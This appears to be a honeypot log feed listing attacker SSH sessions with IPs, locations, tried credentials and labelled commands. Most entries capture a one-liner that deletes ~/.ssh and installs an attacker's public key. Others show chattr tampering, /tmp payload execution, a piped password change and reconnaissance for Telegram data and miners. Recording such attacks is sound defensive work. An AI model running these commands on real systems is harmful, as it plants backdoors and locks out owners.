$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 phantom_sol_2 (102.88.137.80) β€” Lagos, Nigeria Β· 1 session Β· 2 cmds
2026-04-13 05:07 EDT Β· as oracle/oracle29
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 monsoon_root_5 (183.82.111.224) β€” Hyderabad, India Β· 1 session Β· 2 cmds
2026-04-13 04:54 EDT Β· as oracle/oracle29
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 burger_root_2 (72.253.251.3) β€” Lahaina, United States Β· 1 session Β· 2 cmds
2026-04-13 04:52 EDT Β· as oracle/oracle29
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 wraith_root_38 (165.154.5.249) β€” Hong Kong, Hong Kong Β· 1 session Β· 2 cmds
2026-04-13 04:52 EDT Β· as oracle/oracle29
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 wok_root_22 (113.56.35.44) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-13 02:29 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 specter_root_3 (190.119.63.81) β€” Lima, Peru Β· 24 sessions Β· 24 cmds
2026-04-12 23:00 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—24
🎭 specter_root_43 (122.53.133.167) β€” Cabuyao, Philippines Β· 2 sessions Β· 4 cmds
2026-04-13 01:05 EDT Β· as oracle/oracle11!, oracle/oracle17
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 k-pop_pi (220.78.78.97) β€” Mapo-gu, South Korea Β· 2 sessions Β· 3 cmds
2026-04-13 01:19 EDT Β· as pi/raspberry
make executable β†’ execute payload β†’ execute from /tmp
$ cd /tmp && chmod +x 54ktqbmR && bash -c ./54ktqbmR
↳ make executable
$ ./54ktqbmR
↳ execute payload
$ scp -t /tmp/54ktqbmR
↳ execute from /tmp
🎭 wraith_root_39 (103.172.20.218) β€” Rengasdengklok, Indonesia Β· 2 sessions Β· 4 cmds
2026-04-13 00:57 EDT Β· as oracle/oracle11!, oracle/oracle17
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 capoeira_root_2 (177.85.247.230) β€” Timon, Brazil Β· 3 sessions Β· 6 cmds
2026-04-12 02:47 EDT Β· as oracle/Oracle2026!@#, oracle/oracle11!, oracle/oracle17
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—3
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—3
↳ SSH key persistence
🎭 specter_root_44 (103.146.23.145) β€” TΓ’y Mα»—, Vietnam Β· 1 session Β· 2 cmds
2026-04-13 00:10 EDT Β· as oracle/Oracle!2025
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 tulip_root_11 (172.233.51.159) β€” Amsterdam, The Netherlands Β· 1 session Β· 2 cmds
2026-04-12 22:14 EDT Β· as oracle/oracle23!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 wok_root_23 (47.105.41.187) β€” Qingdao, China Β· 1 session Β· 1 cmd
2026-04-12 19:51 EDT Β· as oracle/Oracle1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 panda_root_11 (182.92.158.201) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-12 17:57 EDT Β· as oracle/oracle@123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 seoul_root_7 (211.254.212.59) β€” Seongnam-si, South Korea Β· 1 session Β· 2 cmds
2026-04-12 17:34 EDT Β· as oracle/oracle$
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 bike_root_8 (89.190.156.19) β€” Amsterdam, The Netherlands Β· 1 session Β· 1 cmd
2026-04-12 16:42 EDT Β· as root/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 fika_root (83.233.242.192) β€” Malmo, Sweden Β· 1 session Β· 9 cmds
2026-04-12 12:53 EDT Β· as root/root
root/root login β†’ /ip cloud print β†’ ifconfig β†’ uname -a β†’ cat /proc/cpuinfo β†’ ps | grep '[Mm]iner' β†’ ps -ef | grep '[Mm]iner' β†’ ls -la ~/.local/share/TelegramDesktop/tdata /home//.local/share/TelegramDesktop/tdata /dev/ttyGSM β†’ locate D877F7
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 phantom_root_32 (5.187.97.40) β€” Pointe-Γ -Pitre, Guadeloupe Β· 3 sessions Β· 27 cmds
2026-03-27 22:32 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print Γ—3
$ ifconfig Γ—3
↳ network mapping
$ uname -a Γ—3
↳ OS/kernel identification
$ cat /proc/cpuinfo Γ—3
↳ CPU profiling
$ ps | grep '[Mm]iner' Γ—3
$ ps -ef | grep '[Mm]iner' Γ—3
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* Γ—3
$ locate D877F783D5D3EF8Cs Γ—3
$ echo Hi | cat -n Γ—3
🎭 cosmo_root_2 (158.160.220.42) β€” Moscow, Russia Β· 3 sessions Β· 3 cmds
2026-04-12 09:14 EDT Β· as root/1234
hostname discovery β†’ uname β†’ OS/kernel identification
$ hostname
↳ hostname discovery
$ uname -m 2>/dev/null || echo unknown
$ uname -a
↳ OS/kernel identification
🎭 jade_root_10 (140.246.70.45) β€” Jinan, China Β· 1 session Β· 2 cmds
2026-04-12 03:26 EDT Β· as oracle/oracle16!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 liberty_root_9 (52.176.211.73) β€” Des Moines, United States Β· 1 session Β· 2 cmds
2026-04-12 02:38 EDT Β· as oracle/Oracle2026!@#
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 star_sol_3 (92.118.39.95) β€” Dallas, United States Β· 128 sessions Β· 128 cmds
2026-03-02 03:16 EST Β· as eth/eth, jito/jito, sol/123
Ran uname 160x across 160 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—128
↳ obfuscated system check
🎭 pretzel_root_5 (77.239.101.129) β€” Frankfurt am Main, Germany Β· 1 session Β· 20 cmds
2026-04-12 00:24 EDT Β· as oracle/oracle20!
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo ssh-rsa key β†’ cat /proc/cpuinfo | grep name | wc -l β†’ echo oracle20!/jwZMZate7Lgm|passwd|bash β†’ Enter new UNIX password: β†’ echo oracle20!/jw
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "oracle20!\njwZMZate7Lgm\njwZMZate7Lgm"|passwd|bash
$ Enter new UNIX password:
$ echo "oracle20!\njwZMZate7Lgm\njwZMZate7Lgm\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 wraith_root_8 (179.32.33.161) β€” MedellΓ­n, Colombia Β· 1 session Β· 2 cmds
2026-04-12 00:07 EDT Β· as oracle/oracle@2026
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 eagle_db (74.94.234.151) β€” West Bloomfield, United States Β· 1 session Β· 2 cmds
2026-04-12 00:06 EDT Β· as oracle/oracle20!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 wraith_root_23 (152.32.174.67) β€” Hong Kong, Hong Kong Β· 1 session Β· 2 cmds
2026-04-12 00:02 EDT Β· as oracle/oracle@2026
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 shadow_root_31 (5.37.170.75) β€” Muscat, Oman Β· 1 session Β· 9 cmds
2026-04-11 23:20 EDT Β· as root/root
SSH brute-force root/root login β†’ network interface enumeration (ifconfig) β†’ OS fingerprinting (uname -a, /proc/cpuinfo) β†’ active cryptomining process scan (ps | grep '[Mm]iner') β†’ Telegram data directory reconnaissance (tdata, ttyGSM) β†’ binary signature search (locate D877F783D5D3EF8Cs)
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 windmill_sol (80.94.92.171) β€” Amsterdam, The Netherlands Β· 147 sessions Β· 147 cmds
2026-02-28 05:30 EST Β· as sol/123, sol/sol, ubuntu/ubuntu
Ran uname 176x across 176 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—147
↳ obfuscated system check
🎭 shadow_pi_2 (79.117.28.95) β€” CastellΓ³ de la Plana, Spain Β· 2 sessions Β· 3 cmds
2026-04-11 21:16 EDT Β· as pi/raspberry
make executable β†’ execute payload β†’ execute from /tmp
$ cd /tmp && chmod +x iymvBvxY && bash -c ./iymvBvxY
↳ make executable
$ ./iymvBvxY
↳ execute payload
$ scp -t /tmp/iymvBvxY
↳ execute from /tmp
🎭 ghost_root_60 (151.115.57.14) β€” Warsaw, Poland Β· 13 sessions Β· 13 cmds
2026-04-11 20:32 EDT Β· as admin/123456, admin/admin, admin/password
Ran uname 13x across 13 sessions β€” automated OS fingerprinting.
$ uname -a ; echo 'vT' Γ—13
🎭 cipher_root_53 (110.93.219.131) β€” Lahore, Pakistan Β· 1 session Β· 2 cmds
2026-04-11 19:56 EDT Β· as oracle/oracle25
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 yankee_root_6 (72.17.34.38) β€” Winter Park, United States Β· 1 session Β· 2 cmds
2026-04-11 19:54 EDT Β· as oracle/oracle25
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 yankee_root_8 (172.190.89.127) β€” Boydton, United States Β· 2 sessions Β· 4 cmds
2026-04-06 04:16 EDT Β· as oracle/oracle1, oracle/oracle25
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
